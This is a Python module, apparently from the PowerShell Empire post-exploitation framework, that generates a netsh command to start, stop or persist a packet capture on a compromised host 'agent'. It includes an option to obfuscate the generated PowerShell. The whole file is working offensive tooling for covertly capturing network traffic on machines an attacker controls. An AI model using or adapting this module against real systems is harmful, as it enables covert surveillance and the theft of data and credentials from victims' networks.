Files

95 lines
3.1 KiB
Python

from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-PacketCapture',
'Author': ['@obscuresec', '@mattifestation'],
'Description': ('Starts a packet capture on a host using netsh.'),
'Background' : False,
'OutputExtension' : None,
'NeedsAdmin' : True,
'OpsecSafe' : False,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'http://obscuresecurity.blogspot.com/p/presentation-slides.html',
'http://blogs.msdn.com/b/canberrapfe/archive/2012/03/31/capture-a-network-trace-without-installing-anything-works-for-shutdown-and-restart-too.aspx'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'MaxSize' : {
'Description' : 'Maximum size of capture file. Blank for no limit.',
'Required' : True,
'Value' : '100MB'
},
'TraceFile' : {
'Description' : 'File to log the capture out to.',
'Required' : True,
'Value' : 'C:\\capture.etl'
},
'Persistent' : {
'Description' : 'Switch. Persist capture across reboots.',
'Required' : False,
'Value' : ''
},
'StopTrace' : {
'Description' : 'Switch. Stop trace capture.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
maxSize = self.options['MaxSize']['Value']
traceFile = self.options['TraceFile']['Value']
persistent = self.options['Persistent']['Value']
stopTrace = self.options['StopTrace']['Value']
if stopTrace.lower() == "true":
script = "netsh trace stop"
else:
script = "netsh trace start capture=yes traceFile=%s" %(traceFile)
if maxSize != "":
script += " maxSize=%s" %(maxSize)
if persistent != "":
script += " persistent=yes"
if obfuscate:
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script